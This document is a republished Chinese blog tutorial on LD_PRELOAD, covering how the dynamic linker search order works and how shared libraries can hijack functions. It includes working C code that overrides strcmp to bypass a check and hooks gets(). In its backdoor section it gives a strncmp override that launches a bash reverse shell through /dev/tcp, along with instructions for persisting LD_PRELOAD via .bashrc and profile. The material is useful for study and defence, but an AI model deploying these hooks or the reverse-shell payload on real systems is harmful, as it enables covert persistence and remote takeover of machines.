深入分析 LD_PRELOAD

这篇具有很好参考价值的文章主要介绍了深入分析 LD_PRELOAD。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、前置知识

LD_PRELOAD 是 Linux/Unix 系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

1、程序的链接

程序的链接可以分为以下三种

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

静态链接库,在 Linux 下文件名后缀为 .a,如 libstdc++.a 。在编译链接时直接将目标代码加入可执行程序。

动态链接库,在 Linux 下是 .so 文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享。因此, 动态链接库也称共享库 或者共享对象。

Linux规定动态链接库的文件名规则比如如下:

libname.so.x.y.z

  • lib:统一前缀。
  • so:统一后缀。
  • name:库名,如 libstdc++.so.6.0.21 的 name 就是 stdc++。
  • x: 主版本号 。表示库有重大升级,不同主版本号的库之间是不兼容的。如libstdc++.so.6.0.21 的主版本号是 6。
  • y: 次版本号 。表示库的增量升级,如增加一些新的接口。在主版本号相同的情况下, 高的次版本号向后兼容低的次版本号 。如 libstdc++.so.6.0.21 的次版本号是 0 。
  • z: 发布版本号 。表示库的优化、bugfix等。相同的主次版本号,不同的发布版本号的库之间 完全兼容 。如 libstdc++.so.6.0.21 的发布版本号是 21。

动态链接库的 搜索路径搜索的先后顺序

  • 编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 环境变量 LD_LIBRARY_PATH 指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 配置文件 /etc/ld.so.conf 中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 默认的动态库搜索路径 /lib
  • 默认的动态库搜索路径 /usr/lib

总结:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib

不过可以发现,这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中,反而出现了一个 LD_LIBRARY_PATH,这里关于二者之间的关系和区别在 stackoverflow 上也有大佬讨论,观点也很多,不过在这里我比较认可的是下面这个观点

LD_PRELOAD (not LD_PRELOAD_PATH) 是要在任何其他库之前加载的特定库 ( files ) 的列表,无论程序是否需要。LD_LIBRARY_PATH 是在加载无论如何都会加载的库时要搜索的 目录列表。 在 linux 上,您可以阅读 man ld.so 有关这些和其他影响动态链接器的环境变量的更多信息。

可见,这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库

二、利用

在我的理解中,LD_PRELOAD 实际上也是一种代码注入,知识注入的方式和普遍的 Web 端注入的方式不同。

1、栗子(1)

我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
  2. 将所写的 c 文件编译为动态链接库。
  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

这个攻击方式可以用在任意语言之中,我们这里用一个 C 语言的 demo 来进行一下测试。

whoami.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char name[] = "mon";
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

我们接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数 

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

深入分析 LD_PRELOAD

成功后输入什么都会提示正确

深入分析 LD_PRELOAD

此时我们已经劫持了 strcmp 函数。

2、栗子(2):劫持 gets() 函数

hook.c

#include<stdio.h>
#include<dlfcn.h> //用于搜索原函数

/* 要求:函数的形式必须和原函数一样(返回类型,函数名,函数参数)*/
char* gets(char* str){
    
    /* 自定义的操作区域 */
    printf("hook gets! str: %s\n ",str);
    
    /* 调用原函数*/
    typeof(gets)  *func;//函数指针
    func=dlsym(RTLD_NEXT,"gets");//查找malloc函数位置  dlsym:在打开的动态库里找一个函数
    return (*func)(str); //调用原函数执行
}

编译成共享库 

gcc hook.c -fPIC -shared -ldl -D_GNU_SOURCE -o hook.so

  • -fPIC:编译器就输出位置无关目标码.适用于动态连接。
  • -shared:生成共享目标文件。

设置 LD_PRELOAD

通过设置环境变量的方法

临时设置 export LD_PRELOAD = $PWD/hook.so
永久设置
修改 profile 文件 加入 export LD_PRELOAD=${YOUR PATH}/hook.so
修改 .bashrc 文件 加入 export LD_PRELOAD=${YOUR PATH}/hook.so

编写一个测试程序 test.c

#include <stdio.h>

int main(){
    char str[20]="\0";
    printf("请输入\n");
    gets(str);
    return 0;
}

函数调用劫持效果

深入分析 LD_PRELOAD  

3、制作后门

在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的,在 linux 中我们可以使用readelf -Ws 命令来查看,同时系统命令存储的路径为 /uer/bin

既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢?

这也就是我们制作后门的原理,这里以 ls 为例作示范

深入分析 LD_PRELOAD

 我们来挑选一个操作起来比较方便的链接库,选择到 strncmp@GLIBC_2.2.5

深入分析 LD_PRELOAD

这样我们的 ls 同时通过调用 system 调用了 id 命令

hook_strncmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

既然已经调用了 id,那么我们完全可以再利用这里的执行命令来反弹一个 shell

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/127.0.0.1/2333 0>&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

深入分析 LD_PRELOAD

成功反弹 shell 。

参考:奇安信攻防社区-深入分析 LD_PRELOAD

Linux函数调用劫持的方法总结(带图)_HTmonster的博客-CSDN博客_linux系统调用劫持

(SAW:Game Over!) 文章来源地址https://www.toymoban.com/news/detail-418013.html

到了这里,关于深入分析 LD_PRELOAD的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 解决Linux系统下,“/usr/bin/ld: 找不到 -lXXX”问题

    参考链接:(5条消息) 解决Make时,“/usr/bin/ld: 找不到 -lXXX”问题的四种方法_回音谷的博客-CSDN博客 本文以Xxf86vm库作为例子,遇到不同的库直接替换这个库的名字就行。 报错: 意思是找不到名为Xxf86vm的库,库的名字应该是Xxf86vm.so,命名规则是libXxf86vm.so 1、首先先找电脑上是

    2024年02月11日
    浏览(50)
  • C++项目实战——基于多设计模式下的同步&异步日志系统-③-前置知识补充-设计模式

    🌸作者简介: 花想云 ,在读本科生一枚,C/C++领域新星创作者,新星计划导师,阿里云专家博主,CSDN内容合伙人…致力于 C/C++、Linux 学习。 🌸 专栏简介:本文收录于 C++项目——基于多设计模式下的同步与异步日志系统 🌸 相关专栏推荐: C语言初阶系列 、 C语言进阶系列

    2024年02月09日
    浏览(43)
  • 【Linux系统基础】(5)在Linux上集群化环境前置准备及部署Zookeeper、Kafka软件详细教程

    在前面,我们所学习安装的软件,都是以单机模式运行的。 后续,我们将要学习大数据相关的软件部署,所以后续我们所安装的软件服务,大多数都是以集群化(多台服务器共同工作)模式运行的。 所以,在当前小节,我们需要完成集群化环境的前置准备,包括创建多台虚

    2024年02月03日
    浏览(44)
  • JUC前置知识

    JUC概述 在开发语言中,线程部分是重点,JUC是关于线程的。JUC是java.util.concurrent工具包的简称。这是一个处理线程的工具包,JDK1.5开始出现的。 线程和进程 线程和进程的概念 进程(process): 是计算机的程序关于某数据集合上的一次允许活动,是操作系统进行资源分配和任务调

    2024年02月08日
    浏览(43)
  • (一) AIGC了解+前置知识

    大论文双盲意见还没回来,每天度日如年,慌的一批,唯恐延毕,得找点事情干~ 小论文major revision,本来打算一鼓作气把小论文完全改好的,但是搞了三个月的文字工作,好久没有吸收新知识了 所以…每天边学新东西,边改小论文~ 最近AIGC比较火,就从它开始吧 AIGC大致了解

    2024年02月13日
    浏览(32)
  • 7.前置知识3:LoadBalance

    https://medium.com/google-cloud/understand-cloud-load-balancer-like-a-senior-engineer-d4f55f3111fc 负载均衡本来是个硬件设备。其实一开始确实是的,然而现在已经不同了。 尤其是云厂商提供的负载均衡方案几乎全部是靠软件。现在的负载均衡不仅是网络流量复杂均衡,几乎所有的平衡多个计算资

    2024年02月20日
    浏览(47)
  • LD3320语音识别模块分析

       LD3320是非特定人语音识别芯片,即语音声控芯片。最多可以识别50条预先内置的指令。 识别原理  声音分帧:   声音是一种波,常见的mp3等格式都是压缩格式,必须转为非压缩的纯波形文件来处理,比如Windows PCM文件,也就是wav文件。wav文件李存储的除了一个文件头

    2024年02月05日
    浏览(86)
  • C#代码审计实战+前置知识

    菜鸟教程:https://www.runoob.com/csharp/csharp-intro.html C# 基于 C 和 C++ 编程语言,是一个简单的、现代的、通用的、面向对象的编程语言,它是由微软(Microsoft)开发的,由 Ecma 和 ISO 核准认可的。 C# 是由 Anders Hejlsberg 和他的团队在 .Net 框架开发期间开发的。 C# 是专为公共语言基础

    2024年02月05日
    浏览(42)
  • 第一章设计模式前置知识

    软件设计模式(Software Design Pattern),又称设计模式,是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它描述了在软件设计过程中的一些不断重复发生的问题,以及该问题的解决方案。也就是说,它是解决特定问题的一系列套路,是前辈们的代码

    2024年02月01日
    浏览(41)
  • (三)Flask前置知识栈——装饰器

    在后续的讲解中,对大家对装饰器的掌握程度要求较高,所以此文来深入讲解一下,有看过《Python全栈系列教程》专栏的小伙伴可能会说,装饰器已经出过文章讲的很详细了。饶是如此,深究过装饰器的小伙伴们就权当复习一遍,同时,本篇文章会有所拓展哦~ 在继续之前,

    2024年02月15日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包